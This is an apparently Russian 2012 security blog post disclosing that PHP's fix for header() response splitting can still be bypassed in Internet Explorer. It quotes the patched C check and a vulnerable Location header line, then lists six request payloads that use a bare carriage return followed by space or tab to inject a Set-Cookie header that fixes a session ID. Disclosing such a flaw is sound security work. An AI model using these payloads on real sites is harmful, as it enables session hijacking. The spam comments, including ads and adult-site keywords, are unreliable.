четверг, 23 августа 2012 г.

PHP multiple headers bypass available again

Recenlty we wrote about universal PHP bypass for header() function.
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
Version 5.3.11  
Fixed bug #60227 (header() cannot detect the multi-line header with CR). 
 https://bugs.php.net/bug.php?id=60227 is original bug
And what about fix?

                for (i = 0; i < header_line_len; i++) {
                        /* RFC 2616 allows new lines if followed by SP or HT */
                        int illegal_break =
                                        (header_line[i+1] != ' ' && header_line[i+1] != '\t')                                        && (
                                                header_line[i] == '\n'
                                                || (header_line[i] == '\r' && header_line[i+1] != '\n'));
Pay your attention to red line.

And as we wrote before, bug still available for Internet Explorer.

Source code:
header("Location: /?asd".$_GET['r']);
Attack vectors:
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1

13 комментариев:

  1. Этот комментарий был удален автором.


  2. Благодарю. Это действительно очень помогло мне.

  3. Students find Nursing Critical Care Essay Services as being of great assistance since they are able to seek our nursing research paper writing services and nursing essay writing help services on time.

  4. Faisalabad is one of the biggest cities in Pakistan and the hub of the textile industry. It is widely acknowledged as the Manchester of Pakistan due to its large industrial role. The quality of the fabrics produced in this city has no parallel. In fact, the fabric is something of a specialty of Faisalabad. Many people from all over the country flock to this city for a spot of cloth shopping. We aim to provide you all of the best of Faisalabad at our store. buy pakistani lawn suits online , online lawn clothes shopping in pakistan ,

  5. ngobrol games In terms of durability, Tigreal can still lose versus other tanks. But Tigreal was one of the finest for business disruption and crowd management. Tigreal creates fantastic killing opportunities to make a wipe happen in the enemy team with to his slow, stunning and vacuum abilities. Furthermore, Tigreal may easily disturb the core of the opponent from the early game with its lengthy assault distance.

  6. I blog often and I truly appreciate your content.

    Feel free to visit my blog :

  7. This great article has truly peaked my interest.
    Feel free to visit my blog : 일본야동

  8. I’m going to bookmark your site and keep checking for new details about once per week.
    Feel free to visit my blog : 국산야동